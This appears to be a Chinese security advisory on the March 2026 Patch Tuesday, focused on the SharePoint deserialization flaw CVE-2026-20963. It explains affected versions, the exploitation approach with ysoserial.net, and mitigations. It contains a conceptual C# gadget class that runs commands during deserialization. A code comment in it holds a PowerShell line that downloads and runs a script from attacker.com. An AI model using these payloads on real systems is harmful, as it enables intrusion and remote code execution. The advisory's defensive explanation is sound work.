2026年3月的微软补丁星期二发布了多项关键安全更新,其中一项尤为引人关注的是Microsoft SharePoint远程代码执行漏洞(CVE-2026-20963)。此漏洞因其高危评级和已确认的野外活跃利用而成为安全团队的紧急修复重点。本次补丁星期二共修复了84个漏洞,包括8个被评为“关键”的漏洞以及2个已公开披露的零日漏洞。
2026年3月补丁星期二关键漏洞概览
2026年3月发布的补丁涵盖了Windows、Office、SQL Server、Azure和.NET等多个产品线。 在所有修复的漏洞中,权限提升漏洞占据了主导地位,达到56%,其次是远程代码执行 (RCE) 漏洞,占20%。信息泄露漏洞也占了12%。
以下是本次补丁星期二中一些值得关注的关键漏洞:
| CVE ID | 漏洞名称 | 产品 | 漏洞类型 | CVSSv3.1基础分数 | 影响 | 利用状态 |
|---|---|---|---|---|---|---|
| CVE-2026-20963 | Microsoft SharePoint 远程代码执行漏洞 | SharePoint Server | 反序列化不受信任的数据 (CWE-502) | 9.8 | 未经验证的远程代码执行 | 活跃利用 |
| CVE-2026-26110 | Microsoft Office 远程代码执行漏洞 | Microsoft Office | 类型混淆 | 高 | 本地代码执行,通过预览窗格触发,无需用户交互 | 利用可能性较低 |
| CVE-2026-26113 | Microsoft Office 远程代码执行漏洞 | Microsoft Office | 不可信指针解引用 | 高 | 本地代码执行,通过预览窗格触发,无需用户交互 | 利用可能性较低 |
| CVE-2026-26144 | Microsoft Excel 信息泄露漏洞 | Microsoft Excel | 不当输入中和 | 高 | 未经身份验证的信息泄露,可能通过Copilot Agent模式进行零点击数据外传 | 利用可能性较低 |
| CVE-2026-21536 | Microsoft Devices Pricing Program 远程代码执行漏洞 | Microsoft Devices Pricing Program | 不受限制的文件上传 (CWE-434) | 9.8 | 未经身份验证的远程代码执行 | 已在云基础设施中主动修复,无需客户操作 |
| CVE-2026-21262 | SQL Server 权限提升漏洞 | SQL Server | 不当访问控制 | 8.8 | 经过身份验证的攻击者可提升至sysadmin权限 | 已公开披露,利用可能性较低 |
| CVE-2026-26127 | .NET 拒绝服务漏洞 | .NET | 越界读取 | 7.5 | 未经身份验证的远程拒绝服务 | 已公开披露,利用可能性较低 |
值得注意的是,两个已公开披露的零日漏洞CVE-2026-21262(SQL Server权限提升)和CVE-2026-26127(.NET拒绝服务)的利用风险被微软评估为“不太可能”,但考虑到其公开性质,仍需引起重视。
CVE-2026-20963:SharePoint远程代码执行漏洞分析
CVE-2026-20963是一个存在于Microsoft SharePoint服务器中的关键远程代码执行漏洞。 该漏洞的根本原因是“反序列化不受信任的数据”(Deserialization of Untrusted Data),属于CWE-502类别。 SharePoint在处理传入的序列化数据时,未能对其所重建的对象类型进行严格限制,从而允许攻击者构造恶意负载,触发意想不到的代码执行路径。
漏洞描述与影响
该漏洞影响Microsoft SharePoint Server Subscription Edition、Microsoft SharePoint Server 2019和Microsoft SharePoint Enterprise Server 2016。 具体受影响版本包括:
- Microsoft SharePoint Server Subscription Edition 16.0.19127.20442版本之前
- Microsoft SharePoint Enterprise Server 2016 16.0.10417.20083版本之前
CVSSv3.1基础评分为9.8,属于“关键”级别。 CISA已于2026年3月18日将CVE-2026-20963添加到其已知被利用漏洞(KEV)目录中,确认该漏洞正被攻击者活跃利用。 CERT-EU也发布了安全通告,强调此漏洞为未经验证的远程代码执行 (Unauthenticated Remote Code Execution)。
攻击者可通过向易受攻击的SharePoint端点发送特制的序列化负载来实现远程代码执行。 攻击复杂性低,且无需用户交互即可利用。 成功利用将导致受影响SharePoint服务器的机密性、完整性和可用性完全受损,可能泄露敏感业务数据,并为攻击者在企业网络内进行横向移动提供立足点。
利用分析
CVE-2026-20963的利用始于攻击者与处理序列化输入的SharePoint端点进行交互。根据观察到的攻击场景,攻击门槛较低,即便拥有低权限的认证访问也足以传递恶意负载。然而,有报告指出此漏洞可实现未经验证的RCE,这意味着在某些配置下,攻击者甚至无需认证即可发起攻击。
攻击者通常使用.NET gadget chains来构建序列化对象。一旦恶意负载到达反序列化例程,SharePoint会在内存中重建该对象,并在不知情的情况下执行gadget chain中嵌入的逻辑。
在过去,类似的SharePoint反序列化漏洞(如CVE-2025-53770)已被用于通过窃取MachineKey来伪造__VIEWSTATE,从而实现未经身份验证的RCE。 攻击者可以利用ysoserial.net等工具生成恶意的反序列化负载。这些负载可以包含执行任意系统命令的逻辑,例如启动PowerShell进程以下载并执行额外的恶意软件。
概念性攻击流程示例如下:
- 枚举目标: 识别暴露在互联网上的SharePoint服务器。
- 探测漏洞点: 寻找接受序列化输入的SharePoint Web组件。
- 构造恶意负载: 利用
ysoserial.net等工具,结合已知的.NET gadget chains,构造一个能执行任意命令的序列化对象。例如,一个简单的payload可能尝试执行cmd.exe /c whoami或下载并运行一个PowerShell脚本。 - 发送负载: 通过HTTP POST请求将恶意序列化负载发送到易受攻击的SharePoint端点。
以下是一个概念性的C#代码片段,展示了如何使用BinaryFormatter进行反序列化,如果输入不受信任,就可能导致RCE:
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
[Serializable]
public class MaliciousGadget : ISerializable
{
private string _command;
public MaliciousGadget(string command)
{
_command = command;
}
// This constructor is called during deserialization
protected MaliciousGadget(SerializationInfo info, StreamingContext context)
{
_command = info.GetString("cmd");
// Execute the command directly during deserialization
System.Diagnostics.Process.Start(_command);
}
// This method is called during serialization
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.AddValue("cmd", _command);
}
}
public class Program
{
public static byte[] Serialize(object obj)
{
using (MemoryStream stream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, obj);
return stream.ToArray();
}
}
public static object Deserialize(byte[] data)
{
using (MemoryStream stream = new MemoryStream(data))
{
BinaryFormatter formatter = new BinaryFormatter();
// In a vulnerable application, this line would be exploited
return formatter.Deserialize(stream);
}
}
public static void Main(string[] args)
{
// Example of a malicious object
MaliciousGadget payload = new MaliciousGadget("calc.exe"); // Or "cmd.exe /c powershell -nop -exec bypass -c IEX(New-Object System.Net.WebClient).DownloadString('http://attacker.com/malware.ps1')"
byte[] serializedPayload = Serialize(payload);
// In a real exploit, this serializedPayload would be sent to the vulnerable SharePoint endpoint
// Then the SharePoint server would call Deserialize(serializedPayload) internally.
Console.WriteLine("Malicious payload serialized. If deserialized unsafely, it would execute a command.");
// Uncomment the line below in a controlled environment to simulate deserialization
// Deserialize(serializedPayload);
}
}
在实际攻击中,MaliciousGadget会被更复杂的gadget chain替换,以绕过安全机制并执行更隐蔽的操作。ysoserial.net工具通过利用TypeConfuseDelegate、TextFormattingRunProperties等.NET内部机制来构建这些gadget chain,最终达到执行任意命令的目的。
缓解措施
为应对CVE-2026-20963的威胁,组织机构应立即采取以下缓解措施:
- 应用安全补丁: 及时安装微软发布的最新安全补丁。这是修复此漏洞最直接有效的方法。
- 轮换ASP.NET Machine Key: 由于攻击者可能在打补丁前已窃取
MachineKey以维持持久性或绕过安全控制,因此在打补丁后轮换ASP.NET machine keys并重启所有SharePoint服务器上的IIS至关重要。 可以使用PowerShell中的Set-SPMachineKeycmdlet来更新machine key。 - 启用AMSI: 在SharePoint服务器上启用Antimalware Scan Interface (AMSI) 全模式。AMSI可以帮助检测和阻止恶意PowerShell脚本等威胁。
- 增强ULS日志记录: 提高统一日志系统 (ULS) 的日志记录详细程度,以便更好地监控和检测潜在的利用尝试。
- 审查现有日志: 仔细审查SharePoint服务器的历史日志,检查是否存在可疑活动迹象,特别是Web shell创建、非正常进程生成以及来自
w3wp.exe的PowerShell执行等。 - 网络分段: 隔离SharePoint服务器,限制其与外部网络和内部敏感系统的连接,以最小化潜在攻击的影响范围。
- 实施Web应用防火墙 (WAF): 配置WAF以检测和阻止异常的序列化数据负载,尽管这可能需要针对特定攻击模式进行精细调整。